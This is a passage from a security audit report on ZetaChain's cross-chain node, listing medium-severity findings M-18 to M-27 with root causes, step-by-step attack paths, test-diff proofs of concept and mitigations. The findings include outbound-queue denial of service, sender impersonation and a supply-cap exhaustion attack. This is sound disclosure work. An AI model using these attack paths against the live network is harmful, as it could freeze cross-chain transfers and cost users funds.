Mitigation

Reconsider the logic in `BuildRewardsDistribution()` and ensure the total rewards are correctly calculated across multiple ballots.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3904>

gjaldon

The total rewards units is now summed separately, and the issue is fixed.

Issue M-18: Setting RevertGasLimit to a value larger than uint64 in the Solidity gateway contract will cause a panic that prevents finalizing the inbound CCTX and observers from receiving block rewards

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/310>

Found by

berndartmueller

Summary

The `RevertGasLimit` is a `uint256` in Solidity. When calling `cctx.RevertOptions.RevertGasLimit.Uint64()` in `GetRevertGasLimit()`, it will panic if the value does not fit into a `uint64`.

As a result, the finalizing vote that executes the `MsgVoteInbound` message will fail. The ballot will remain pending, and observers will not receive block rewards for those pending ballots.

Root Cause

In `GetRevertGasLimit()`#L72, the `RevertGasLimit` is a `cosmosdk_io_math.Uint` and possibly set to a value of size `uint256` in the Solidity gateway contract.

```
66: // GetRevertGasLimit returns the gas limit for the revert transaction in a CCTX
67: // It returns 0 if there is no error but the gas limit can't be determined from
   ↳ the CCTX data
68: func (k Keeper) GetRevertGasLimit(ctx sdk.Context, cctx types.CrossChainTx)
   ↳ (uint64, error) {
69:     // with V2 protocol, reverts on connected chains can eventually call a
   ↳ onRevert function which can require a higher gas limit
70:     if cctx.ProtocolContractVersion == types.ProtocolContractVersion_V2 &&
   ↳ cctx.RevertOptions.CallOnRevert &&
71:         !cctx.RevertOptions.RevertGasLimit.IsZero() {
72:         return cctx.RevertOptions.RevertGasLimit.Uint64(), nil
73:     }
```

However, `Uint64()` will panic if the value does not fit into a `uint64`.

```
File: cosmosdk.io/math@v1.4.0/uint.go
72: // Uint64 converts Uint to uint64
73: // Panics if the value is out of range
```

```
74: func (u Uint) Uint64() uint64 {
75:     if !u.i.IsUint64() {
76:         panic("Uint64() out of bound")
77:     }
78:     return u.i.Uint64()
79: }
```

This panic will cause the whole Cosmos SDK `MsgVoteInbound` message to fail. As a result, the finalizing vote that will trigger this code path will have the message fail. Previous votes on the same ballot will be processed and stored.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. On Ethereum, call the `GatewayEVM.depositAndCall()` function with `onRevertGasLimit` set to a value larger than `uint64`. The target contract on ZEVM should revert for this inbound.
2. Observers vote on this inbound
3. The observer with the final vote will execute the inbound CCTX on ZEVM
4. On ZEVM, the target function reverts so that a revert outbound is attempted to be created.
5. `GetRevertGasLimit()` panics
6. The inbound and hence the corresponding ballot remains pending
7. Observers who voted on the inbound will not receive block rewards

Impact

Observers will vote on the inbound, and the ballot will track the votes. Finalizing the ballot is not possible. It remains pending. Hence, observers will not receive block rewards for those pending ballots, even though they have voted and thus spent gas.

PoC

Adapt the existing E2E test

e2e/e2etests/test_eth_deposit_and_call_revert_with_call.go:

```
diff --git a/node/e2e/e2etests/test_eth_deposit_and_call_revert_with_call.go
↪ b/node/e2e/e2etests/test_eth_deposit_and_call_revert_with_call.go
index db7fd26ca..2868d4dda 100644
--- a/node/e2e/e2etests/test_eth_deposit_and_call_revert_with_call.go
+++ b/node/e2e/e2etests/test_eth_deposit_and_call_revert_with_call.go
@@ -3,6 +3,7 @@ package e2etests
import (
    "math/big"

+   sdkmath "cosmosdk.io/math"
+   "github.com/ethereum/go-ethereum/accounts/abi/bind"
+   "github.com/stretchr/testify/require"
+   "github.com/zeta-chain/protocol-contracts/pkg/gatewayevm.sol"
@@ -29,7 +30,7 @@ func TestETHDepositAndCallRevertWithCall(r *runner.E2ERunner,
↪ args []string) {
    RevertAddress:    r.TestDAppV2EVMAAddr,
    CallOnRevert:     true,
    RevertMessage:    []byte(payload),
-   OnRevertGasLimit: big.NewInt(200000),
+   OnRevertGasLimit:
↪   sdkmath.NewUintFromString("184467440737095516160").BigIntMut(),
    },
    )
```

Run the test:

```
zetae2e run eth_deposit_and_call_revert_with_call --config
↪ cmd/zetae2e/config/local.yml --verbose
```

Docker container logs show that the Cosmos SDK message panics! This demonstrates that the inbound CCTX (initiated on Ethereum) cannot be finalized on ZetaChain.

Mitigation

Consider using `cctx.RevertOptions.RevertGasLimit.BigInt().Uint64()`, which safely truncates the value to 64 bits. However, it would be better to update the Solidity code to use `uint64` instead of `uint256` for the revert gas limit.

```
func (k Keeper) GetRevertGasLimit(ctx sdk.Context, cctx types.CrossChainTx)
↪ (uint64, error) {
    // with V2 protocol, reverts on connected chains can eventually call a onRevert
↪ function which can require a higher gas limit
```

```
    if cctx.ProtocolContractVersion == types.ProtocolContractVersion_V2 &&  
↪    cctx.RevertOptions.CallOnRevert &&  
        !cctx.RevertOptions.RevertGasLimit.IsZero() {  
            fmt.Println("cctx.RevertOptions.RevertGasLimit",  
↪    cctx.RevertOptions.RevertGasLimit)  
-        return cctx.RevertOptions.RevertGasLimit.Uint64(), nil  
+        return cctx.RevertOptions.RevertGasLimit.BigInt().Uint64(), nil  
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/protocol-contracts/pull/510>

gjaldon

This [PR](#) addresses the issue by setting a MAX_REVERT_GAS_LIMIT of 2M for all calls that support reverts in GatewayEVM and GatewayZEVm.

Issue M-19: The sender argument for the Solana OnCall instruction can be impersonated

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/312>

Found by

0x15, 0xkmr_, OhmOudits, berndartmueller, ch13fd357r0y3r, shaflo01

Summary

The `sender` argument for the Solana `OnCall` instruction can be impersonated due to not being included in the message signed by the observers. This allows an attacker to call the destination program with a different `sender` address than the one originally initiated the CCTX.

Root Cause

The `sender` argument for `handle_spl_token()` and `handle_sol()` is provided to the called destination program as part of the `OnCall` instruction. For example, authorization checks can be implemented to verify the original CCTX sender.

However, the `sender` argument is not included in the message signed by the observers. This means the `sender` can be exchanged to any other address when calling the gateway's `execute()` or `execute_spl_token()` function. As a result, the `sender` can be impersonated by an attacker, allowing them to call the destination program with a different `sender` address than the one originally initiated the CCTX.

As Solana does not have a public mempool, exploiting these issues is difficult. However, a single observer could exploit this by frontrunning the outbound Solana transaction and replacing the `sender`. Or, the Solana RPC operator or the validator could also exploit it.

Internal Pre-conditions

- A single malicious observer

External Pre-conditions

- The destination Solana program has authorization checks that depend on the `sender` argument and distribute funds based on it.

Attack Path

1. Attacker sends an outbound CCTX from ZetaChain to Solana to call a specific destination program. The attacker's address will be used as the CCTX sender.
2. Observers vote on the outbound CCTX.
3. The observer colludes with the attacker and replaces the `sender` (the attacker's address) with their target address that should be impersonated.
4. The Solana transaction is executed, and the destination program is called with the impersonated `sender` address.
5. Destination program checks the `sender` address and authorizes funds transfer to the impersonated address.

Impact

The `sender` argument for the `OnCall` instruction can be impersonated.

PoC

N/A

Mitigation

The `sender` argument should be included in the message signed by the observers.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:

<https://github.com/zeta-chain/node/pull/3896>

gjaldon

The issue has been fixed by including the CCTX sender in the message hash.

Issue M-20: Claiming delegation rewards via the precompile can result in a loss of ZETA rewards due to state synchronization issues

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/316>

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

berndartmueller

Summary

When claiming Cosmos delegation rewards, both explicitly and implicitly, the ZETA rewards are not added to the EVM statedb of the caller contract. This leads to a loss of ZETA rewards when the EVM state is committed to the Cosmos state.

Root Cause

When withdrawing Cosmos delegation rewards via the `claimRewards` precompile method by calling `c.distributionKeeper.WithdrawDelegationRewards()`, ZETA rewards will be skipped from the ZRC20 unlocking process.

However, the received ZETA bank coins are not added to the EVM statedb, which is then out-of-sync with the Cosmos state. And as the EVM state is committed to the Cosmos state at the end of the EVM execution, it will overwrite the ZETA bank balance in the Cosmos state with the EVM state, resulting in a loss of ZETA reward coins.

This is similar to the mitigation in the `Stake()` precompile method that subtracts the staked ZETA coins from the EVM statedb to ensure that the EVM state is in sync with the Cosmos state and to prevent double-spending.

Internal Pre-conditions

N/A

External Pre-conditions

- A ZEVM contract interacts with the staking precompile

Attack Path

N/A

Impact

The claimed ZETA bank coin rewards are lost.

PoC

1. A ZEVM contract delegates ZETA coins to a validator
2. After a while, when delegation rewards are accumulated, the contract
 - updates its storage variable (so that a state object is added to the EVM statedb). This leads to the ZETA balance at the time of the state change being cached.
 - calls the `claimRewards` precompile method.
3. ZETA coin rewards are received in the Cosmos state
4. The EVM execution finishes, and the EVM state is committed to the Cosmos state
5. The EVM state overwrites the Cosmos ZETA bank balance of the contract with the previously cached balance
6. ZETA rewards are lost

Mitigation

Similar to Evmos, explicitly add the claimed ZETA coin rewards to the withdraw address balance in the EVM statedb.

Similarly, this is also required for the stake and unstake precompile functions, as they will implicitly auto-withdraw delegation rewards.

Issue M-21: V1 ZEVM logs incorrectly use the emitting Contract address as the CCTX sender address

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/318>

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

berndartmueller

Summary

The `ProcessZRC20WithdrawalEvent()` and `ProcessZetaSentEvent()` functions use the `emittingContract` address as the to address as the CCTX sender when processing v1 ZEVM logs.

This is not necessarily the contract that initiated the CCTX on ZEVM, which can lead to revert refunds going to the wrong address and access protection issues on the receiving contract.

Root Cause

When processing ZEVM v1 logs, [ProcessZRC20WithdrawalEvent\(\)#L195](#) uses the `emittingContract` address as the to address as the CCTX sender.

```
156: func (k Keeper) ProcessZRC20WithdrawalEvent(  
157:     ctx sdk.Context,  
158:     event *zrc20.ZRC20Withdrawal,  
159:     emittingContract ethcommon.Address,  
160:     txOrigin string,  
161: ) error {  
... // [...]  
193:     msg := types.NewMsgVoteInbound(  
194:         "",  
195:         emittingContract.Hex(),
```

Same as [ProcessZetaSentEvent\(\)](#).

This sender address will be used in a few places. For example,

- as the [zetaTxSenderAddress](#) address that is passed to the external chain when calling [ZetaConnector.onReceive\(\)](#), used for authentication.
- and in V2 also as the [revert address](#) that receives the funds in case of the revert process.

The issue is that the `emittingContract` is not necessarily the contract that initiated the CCTX on ZEVM.

It will be either set to

- `msg.To` when regularly processing ZEVM logs. Which is the first contract that was called in the ZEVM transaction.
- the inbound receiver address in `HandleEVMDeposit`
- the outbound revert receiver address in `processFailedOutboundV2` when reverting a CCTX on ZEVM

Those addresses would be the CCTX sender. However, it could be a nested contract call that originated the CCTX, which is the rightful sender.

Tldr

Using an intermediary contract on the zEVM that initiates outbound CCTXs causes refund and access protection issues on the receiving contract.

Internal Pre-conditions

N/A

External Pre-conditions

N/A

Attack Path

N/A

Impact

- Revert refunds go to the wrong address
- Access protection issues on the receiving contract when checking `zetaTxSenderAddress`

PoC

N/A

Mitigation

- `ProcessZRC20WithdrawalEvent()`: Use `ZRC20Withdrawal.From` as the sender address
- `ProcessZetaSentEvent()`: Use `zetaTxSenderAddress` as the sender address

Issue M-22: Lost funds on ZetaChain due to unprocessed ZEVM logs

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/319>

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

berndartmueller

Summary

In some instances, ZEVM logs that are emitted to signal the creation of outbound CCTXs are not processed, burning the user's funds on ZetaChain while not withdrawing them on the external chain.

Root Cause

In the following two instances,

- [`processFailedZETAOutboundOnZEVM\(\)`#L335-344](#) - Used to revert a failed ZETA outbound that errored on an external chain and which was initiated on ZetaChain (ZEVM)
- [`HandleEVMDeposit\(\)`#L58-71](#) - Handles a ZETA deposit from an external EVM chain to ZetaChain (ZEVM)

the ZEVM on ZetaChain is invoked, and a target contract is called.

This contract might as well interact with ZetaChain's ZEVM gateway contract to initiate subsequent outbound CCTXs. For example, calling [`GatewayZEVM.withdraw\(\)`](#), which burns the user's ZRC-20 tokens and emits `Withdrawn`.

However, logs are not processed in those two instances, meaning no outbound CCTX is created, and the burned funds are not withdrawn on the external chain; they remain burned on ZetaChain. The user loses their funds.

This is in contrast to other situations where ZEVM logs are processed. For example, when depositing gas or ERC-20 tokens from an external chain to ZetaChain.

Internal Pre-conditions

N/A

External Pre-conditions

N/A

Attack Path

1. User sends ZETA tokens from an external chain (e.g., Ethereum) to ZetaChain (ZEVM) with a contract call on ZetaChain
2. On ZetaChain, the user's target contract interacts with the ZEVM gateway contract to initiate an outbound CCTX. ZRC-20 tokens are burned
3. The emitted log is not processed, preventing the outbound CCTX from being created
4. The user/contract on ZEVM loses their funds

Impact

Funds are burned on ZetaChain while not creating an outbound CCTX.

PoC

N/A

Mitigation

Consider always processing ZEVM logs to create outbound CCTXs.

Issue M-23: Impartially aborted CCTXs are incorrectly marked as refunded, resulting in a loss of funds

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/320>

Found by

0xAlix2, BrothersInCode, berndartmueller

Summary

Inbound CCTXs for either paused ZRC20 tokens or those that exceed the ZRC20 liquidity cap during the abort process will not be refunded to the user, manifesting as a loss of funds.

Root Cause

In the case of a CCTX that gets aborted on ZetaChain, the parent caller function `ProcessAbort()` sets `cctx.CctxStatus.IsAbortRefunded = true`, regardless of whether the abort deposit succeeded or not.

For example, if `getAndCheckZRC20()` errors, due to

- temporarily paused ZRC20 token, or, more likely,
- ZRC20 liquidity cap reached (especially problematic if a user sent an inbound with a large ZRC20 amount, which exceeds the liquidity cap)

the CCTX amount is not refunded.

Additionally, a ZetaChain admin is also unable to manually refund such an aborted CCTX via the `MsgRefundAbort` message due to the `CctxStatus.IsAbortRefunded` flag being set to true.

Internal Pre-conditions

- CCTX needs to be aborted on ZetaChain
- Inbound with a large ZRC20 amount is sent to ZetaChain, which errors during the ZEVM deposit and the amount exceeds the liquidity cap

External Pre-conditions

N/A

Attack Path

N/A

Impact

CCTX is incorrectly marked as aborted without refunding the user

PoC

Mitigation

Ensure that the CCTX is only marked as `IsAbortRefunded = true` if the refund was successful.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3901>

gjaldon

The issue has been addressed by marking the CCTX as `AbortRefunded` only when there was no error during the abort process or when only the `OnAbort` callback failed.

Issue M-24: ZETA coin type outbound CCTXs can be sent to unsupported external chains, which results in a DoS of the outbound queue

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/321>

Found by

berndartmueller

Summary

Checking whether an external chain supports ZETA by checking if the `zeta_token_contract_address` is set to the empty string `""` is ineffective, as the actual value is set to the string `"0x0000000000000000000000000000000000000000"`.

This allows sending ZETA to external chains that cannot process it and error, blocking subsequent CCTXs.

Root Cause

When processing an inbound CCTX (`MsgVoteInbound`), in `VoteOnInboundBallot()` #L58-L60, it prevents outbound CCTX with the ZETA cointype to an external chain that does not have a ZETA token (e.g., Bitcoin, Solana, etc.):

```
58: if coreParams.ZetaTokenContractAddress == "" && coinType == coin.CoinType_Zeta {
59:     return false, false, types.ErrInvalidZetaCoinTypes
60: }
```

Similarly, this check is also done when sending an outbound CCTX from ZEVM to an external chain.

Notice that it checks for the empty string.

Retrieving the current production chain params via https://zetachain.blockpi.network/v1/public/zeta-chain/observer/get_chain_params, we can see that, for example, the config for Bitcoin (chain id 8332) has `zeta_token_contract_address` set to the **string** `"0x0000000000000000000000000000000000000000"`:

```
{
  "chain_id": "8332",
  "confirmation_count": "2",
  "gas_price_ticker": "300",
  "inbound_ticker": "20",
```

```

"outbound_ticker": "60",
"watch_utxo_ticker": "30",
"zeta_token_contract_address": "0x0000000000000000000000000000000000000000",
"connector_contract_address": "0x0000000000000000000000000000000000000000",
"erc20_custody_contract_address": "0x0000000000000000000000000000000000000000",
"outbound_schedule_interval": "10",
"outbound_schedule_lookahead": "30",
"ballot_threshold": "0.660000000000000000",
"min_observer_delegation": "100000000000000000.000000000000000000",
"is_supported": true,
"gateway_address": "",
"confirmation_params": {
  "safe_inbound_count": "2",
  "fast_inbound_count": "2",
  "safe_outbound_count": "2",
  "fast_outbound_count": "2"
},
"disable_tss_block_scan": false
}

```

The same applies to other chains, such as Solana (chain ID 900).

This allows sending ZETA to external chains that cannot process it and error, blocking subsequent CCTXs.

- The TON zetaclient will error in ProcessOutbound() due to `cctx.InboundParams.CoinType != coin.CoinType_Gas`.
- Bitcoin outbound CCTXs error in NewOutboundData(),
- Solana in TryProcessOutbound(), and
- SUI in buildWithdrawal().

Note that there is a specific unit test for this scenario where a CCTX with the ZETA coin type is sent to an unsupported chain -> "fail if inbound contain ZETA but receiver chain doesn't support ZETA" in node/x/observer/keeper/vote_inbound_test.go.

However, by setting `ZetaTokenContractAddress` to the **empty string**, it will detect that the chain does not support ZETA.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. Send a VI CCTX with the ZETA coin type to an external chain that does not support it (e.g., Bitcoin, Solana, etc.).
2. The zetaclient attempts to process the outbound CCTX, but errors when checking the coin type.
3. The CCTX cannot be processed, the nonce on the external chain is not increased
4. The CCTX queue is blocked, no further outbound CCTXs can be processed

Impact

Sending outbound CCTX with the cointype ZETA to an external chain that does not support it will cause the CCTX to error in the zetaclient, blocking subsequent CCTXs. It will indefinitely DoS the external chain's outbound CCTX processing.

Note that while such a "stuck" CCTX can be aborted by an admin via `MsgAbortStuckCCTX`, it will still block the outbound queue because the nonce is still "blocked" (unused).

PoC

We can re-use and update the `TestMessagePassingEVMtoZEVm` E2E test case to use the Bitcoin chain ID when sending the outbound ZETA CCTX.

```
diff --git a/node/e2e/e2etests/legacy/test_message_passing_evm_to_zevm.go
↪ b/node/e2e/e2etests/legacy/test_message_passing_evm_to_zevm.go
index a88812581..b0c52a416 100644
--- a/node/e2e/e2etests/legacy/test_message_passing_evm_to_zevm.go
+++ b/node/e2e/e2etests/legacy/test_message_passing_evm_to_zevm.go
@@ -20,8 +20,10 @@ func TestMessagePassingEVMtoZEVm(r *runner.E2ERunner, args
↪ []string) {
    amount := utils.ParseBigInt(r, args[0])

    // Set destination details
-   zEVMChainID, err := r.ZEVMClient.ChainID(r.Ctx)
-   require.NoError(r, err)
+   // zEVMChainID, err := r.ZEVMClient.ChainID(r.Ctx)
+   // require.NoError(r, err)
+
+   bitcoinChainID := r.GetBitcoinChainID()

    destinationAddress := r.ZevmTestDAppAddr

@@ -45,7 +47,7 @@ func TestMessagePassingEVMtoZEVm(r *runner.E2ERunner, args
↪ []string) {
```

```

    // Call the SendHelloWorld function on the EVM dapp Contract which would in
    ↪ turn create a new send, to be picked up by the zeta-clients
    // set Do revert to false which adds a message to signal the ZEVM zetaReceiver
    ↪ to not revert the transaction
-   tx, err = testDAppEVM.SendHelloWorld(r.EVMAuth, destinationAddress,
    ↪ zEVMChainID, amount, false)
+   tx, err = testDAppEVM.SendHelloWorld(r.EVMAuth, destinationAddress,
    ↪ big.NewInt(bitcoinChainID), amount, false)
    require.NoError(r, err)
    r.Logger.Info("TestDApp.SendHello tx hash: %s", tx.Hash().Hex())

```

Run the E2E test with:

```

make start-localnet
make install-zetae2e
zetae2e run legacy_message_passing_evm_to_zevm --config
    ↪ cmd/zetae2e/config/local.yml --verbose

```

The Docker logs of one of the zetaclients, specifically, the Bitcoin signer, will error when processing the CCTX due to the invalid ZETA coin type:

```

2025-05-11T12:13:56Z ERR failed to setup Bitcoin outbound data error="invalid coin
    ↪ type Zeta"
    ↪ cctx=0x76676ad20454f0ce974f00b092241b48648c41aee26f38a5174bc7981b9de0b9
    ↪ chain=18444 method=TryProcessOutbound module=signer nonce=0
    ↪ signer=zeta1erxfztr9nzf72g6jum0vx9p5j23ry6nztz7e2k

```

Mitigation

Convert ZetaTokenContractAddress to common.Address and then use the already existing `IsEmptyAddress()` function,

```

11: // IsEmptyAddress returns true if the address is empty
12: func IsEmptyAddress(address common.Address) bool {
13:     return address == (common.Address{}) || address.Hex() ==
    ↪ constant.EVMZeroAddress
14: }

```

to check if the ZETA token contract address is set.

Issue M-25: Outbound CCTXs to external chains are not properly validated, preventing subsequent outbounds to the external chain from being processed

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/322>

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

berndartmueller

Summary

Outbound CCTXs to external chains are not properly validated. This can lead to invalid and unprocessable outbound CCTXs that cannot be relayed and executed on the external chain. Due to the strict nonce handling, a "blocked" nonce will block all subsequent CCTXs from being processed.

Root Cause

The `validateZRC20Withdrawal()` function is essential to validate the parameters of an outbound ZRC20 withdrawal, a CCTX that is sent from ZetaChain (ZEVM) to external chains, e.g., EVM chains, Bitcoin, Solana, SUI, and TON.

However, the current implementation only checks Bitcoin and Solana, SUI, and TON are completely missing.

Following is a (non-exhaustive) list of missing checks:

Solana

The Solana zetaclient signer errors in

- `prepareExecuteTx()` (and other instances where `DecodeExecuteMsg()` is called) when `DecodeExecuteMsg()` is unable to decode the execute message (e.g., due to incorrect payload)
- `TryProcessOutbound()` when the `CoinType` is `CoinType_NoAssetCall` (using `GatewayZEV M.call()`)

Impact:

Solana signer's `TryProcessOutbound()` will not fully process the CCTX, nor will it send a fallback (cancel) transaction to the Solana network to increase the nonce. This will block further CCTXs from being processed.

SUI

- Valid receiver SUI address
- The SUI zetaclient signer errors for V1 ZRC20 withdrawals, which is possible via `ZRC20.withdraw()` on ZEVM. Add a check to ensure V1 withdrawals are not possible.

TON

In the TON zetaclient's `ProcessOutbound()`:

```
101:     if cctx.InboundParams.CoinType != coin.CoinType_Gas {
102:         return Invalid, errors.New("only gas coin outbounds are supported")
103:     }
```

Currently, it is possible to use `GatewayZEVM.call()` with TON as the destination chain, which sets the coin type to `CoinType_NoAssetCall`. This errors in the TON signer, causes subsequent CCTXs to be stuck due to the nonce not being incremented.

```
110: receiver, err := ton.ParseAccountID(params.Receiver)
111: if err != nil {
112:     return Invalid, errors.Wrapf(err, "unable to parse recipient %q",
    ↪ params.Receiver)
113: }
```

In line 110, parsing an invalid receiver account ID also errors, so that further CCTXs are blocked.

Lines 295-297, the TON gateway contract assert a `workchain = 0` address. E.g., if `0f8yaVd kvWSuax8luWhDXY_0X9Am1ASW1Jz40I7M-jqcM2NC` (encode with <https://ton.org/address/>) is used, with `workchain -1`, the TON transaction will fail.

The recipient must not be the TON gateway address.

TON withdrawals with `amount = 0` revert. This is possible when withdrawing from ZEVM with v1 ZERC20 `withdraw`, which allows 0 amounts.

All of this will cause the TON transaction to revert, preventing the nonce from being increased, blocking subsequent CCTXs.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

Use any of the above-mentioned missing checks to create an outbound CCTX that will error in the respective chain's zetaclient so that the nonce is not being used and thus all subsequent CCTXs are blocked.

Impact

Invalid and unprocessable outbound CCTXs that cannot be relayed and executed on the external chain. Due to the strict nonce handling, a "blocked" nonce will block all subsequent CCTXs from being processed.

PoC

N/A

Mitigation

Consider adding the missing checks for the mentioned chains to ensure only valid and actually processable outbound CCTX are put into the queue for the zetaclients to process.

Issue M-26: ZETA token supply keeps growing on failed onReceive() contract calls

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/323>

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

berndartmueller

Summary

ZETA tokens minted to the fungible module account are not burned/reverted if the `onReceive()` ZEVM call reverts, which keeps increasing the total supply of ZETA tokens. This can lead to a denial of service (DoS) for ZETA deposits on ZetaChain, as the cap of 1.85 billion ZETA tokens is reached.

Root Cause

In `CallOnReceiveZevmConnector()`, ZETA tokens are first minted to the fungible module by calling `DepositCoinsToFungibleModule()`, so that the subsequent EVM call has sufficient native tokens (ZETA) to attach.

If we follow the code path up,

- InitiateOutbound()
 - HandleEVMDeposit()
 - * ZETADepositAndCallContract()
 - `CallOnReceiveZevmConnector()`

we notice that in `InitiateOutbound()` a temporary context `tmpCtx` is used and passed down to the chain of function calls.

This temporary context is committed, i.e., the state is written, if the CCTX's outbound is either successfully mined or if the CCTX will get reverted:

```
58: newCCTXStatus = c.crosschainKeeper.ValidateOutboundZEVM(ctx, config.CCTX, err,
   ↳ isContractReverted)
59: if newCCTXStatus == types.CctxStatus_OutboundMined || newCCTXStatus ==
   ↳ types.CctxStatus_PendingRevert {
60:     commit()
61: }
```

However, if the `onReceive()` EVM call in `CallOnReceiveZevmConnector()` reverts (e.g., the target contract reverts), the ZETA tokens remain minted to the fungible module while reverting the CCTX and thus refunding the ZETA tokens to the sender on the external chain (e.g., Ethereum).

As a result, ZETA tokens are minted out of thin air to the fungible module account, which increases the total supply of ZETA tokens. This is a problem as the ZETA token has a cap of 1.85 billion ZETA tokens, checked by `validateZetaSupply()`. If the cap is reached, minting ZETA tokens will fail and thus prevents ZETA deposits on ZetaChain. This is effectively a DoS.

Same also in case of `processFailedZETAOutboundOnZEVM()` (which internally calls `CallOnRevertZevmConnector()` that also mints ZETA tokens to the fungible module without a temporary context). However, due to aborting the CCTX in case of the failed revert, without refunding the funds immediately, it does not invite for an attack. Reclaiming the funds would require an admin to refund them via the `MsgRefundAbortedCCTX` message.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

Given ZETA at the time of the review is valued at ~\$0.25 USD. And an attacker has a ZEVM contract deployed on ZetaChain that reverts in `onReceive()`.

An attacker can purposefully trigger the 1.85B ZETA supply cap by repeating the following steps:

1. On Ethereum, initiate a ZETA token inbound via `ZetaConnectorEth.send()` to ZetaChain with 10M ZETA tokens, worth \$2.5M USD.
2. CCTX inbound errors on ZetaChain when executing the `onReceive()` call on the target contract. The 10M ZETA tokens have been minted to the fungible module account.
3. A revert outbound is created to refund the 10M ZETA tokens to the sender on Ethereum. 4. Attacker receives the 10M ZETA tokens back on Ethereum.

Repeat 185 times until the cap is reached.

The gas fees are negligible. Also, the capital is returned to the attacker after each iteration, reducing the risk of failure.

Impact

ZETA deposits and message passing via ZetaChain are halted. A network upgrade is required to burn the fungible module account ZETA tokens.

PoC

Add the following test case to `node/x/fungible/keeper/evm_test.go` and run with

```
go test -timeout 30s -run ^TestKeeper_CallOnReceiveZevmConnector$/^AUDIT_should_err_|
↳ or_in_contract_call_reverts_but_ZETA_is_minted_to_fungible_module_account$
↳ github.com/zeta-chain/node/x/fungible/keeper
```

```
diff --git a/node/x/fungible/keeper/evm_test.go b/node/x/fungible/keeper/evm_test.go
--- node/x/fungible/keeper/evm_test.go
+++ node/x/fungible/keeper/evm_test.go
@@ -19,8 +19,9 @@
     "github.com/zeta-chain/protocol-contracts/pkg/systemcontract.sol"
     "github.com/zeta-chain/protocol-contracts/pkg/wzeta.sol"
     "github.com/zeta-chain/protocol-contracts/pkg/zrc20.sol"

+   zetaconfig "github.com/zeta-chain/node/cmd/zetacored/config"
+   "github.com/zeta-chain/node/e2e/contracts/dapp"
+   "github.com/zeta-chain/node/e2e/contracts/dappreverter"
+   "github.com/zeta-chain/node/e2e/contracts/example"
+   "github.com/zeta-chain/node/e2e/contracts/reverter"
@@ -1562,8 +1563,34 @@
        dAppContract,
        big.NewInt(45), []byte("message"), [32]byte{})
        require.ErrorContains(t, err, "execution reverted")
    })

+   +
+   +   t.Run("AUDIT should error in contract call reverts but ZETA is minted to
+   ↳ fungible module account", func(t *testing.T) {
+   +       // add import "zetaconfig "github.com/zeta-chain/node/cmd/zetacored/config"
+   +       k, ctx, sdkk, _ := keepertest.FungibleKeeper(t)
+   +       _ = k.GetAuthKeeper().GetModuleAccount(ctx, types.ModuleName)
+   +
+   +       deploySystemContracts(t, ctx, k, sdkk.EvmKeeper)
+   +       dAppContract, err := k.DeployContract(ctx,
+   ↳ dappreverter.DappReverterMetaData)
+   +       require.NoError(t, err)
+   +       assertContractDeployment(t, sdkk.EvmKeeper, ctx, dAppContract)
+   +
+   +       // check fungible module address cosmos bank coin ZETA balance before the
+   ↳ call
+   +       beforeBalance := sdkk.BankKeeper.GetBalance(ctx, types.ModuleAddress,
+   ↳ zetaconfig.BaseDenom)
```

```

+         require.Equal(t, "0", beforeBalance.Amount.String())
+
+         _, err = k.CallOnReceiveZevmConnector(ctx,
+             sample.EthAddress().Bytes(),
+             big.NewInt(1),
+             dAppContract,
+             big.NewInt(45), []byte("message"), [32]byte{})
+         require.ErrorContains(t, err, "execution reverted")
+
+         // check fungible module address cosmos bank coin ZETA balance after the
↪ call
+         afterBalance := sdkk.BankKeeper.GetBalance(ctx, types.ModuleAddress,
↪ zetaconfig.BaseDenom)
+         require.Equal(t, "45", afterBalance.Amount.String()) // 45 ZETA is minted
↪ to fungible module account
+     })
+ }

func TestKeeper_CallOnRevertZevmConnector(t *testing.T) {
    t.Run("should call on revert on connector which calls onZetaRevert on sample
↪ DAPP", func(t *testing.T) {

```

The test demonstrates that ZETA tokens are minted to the fungible module account even if the contract call reverts.

Mitigation

Consider using another temporary context for both the ZETA token mint and the `onReceive()` EVM call to ensure atomicity. Same for the `processFailedZETAOutboundOnZEVM()` function.

Issue M-27: EVM outbound transaction gas limit can be set lower than the intrinsic gas limit, which prevents sending the transaction and blocks all other outbound transactions to this chain

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/324>

Found by

berndartmueller, g

Summary

The gas limit for an outbound EVM (e.g., Ethereum) transaction can be set lower than the intrinsic gas limit of the EVM (min. ~21k, growing based on transaction size). This prevents sending the transaction, blocking the nonce, and causing a Denial of Service (DoS) for all subsequent outbound transactions to the EVM chain.

Root Cause

In `gasFromCCTX()`, a recent [PR #3680](#) removed the `limit < minGasLimit` check for a lower bound gas limit, to ensure an EVM outbound transaction never has less than 100k gas.

Now, it only enforces a maximum gas limit, and overwrites the gas limit if it is set to 21k.

[gasFromCCTX\(\)#L74-L91](#)

```
74: if limit > maxGasLimit {
75:     limit = maxGasLimit
76:     logger.Warn().
77:         Uint64("cctx.initial_gas_limit", params.CallOptions.GasLimit).
78:         Uint64("cctx.gas_limit", limit).
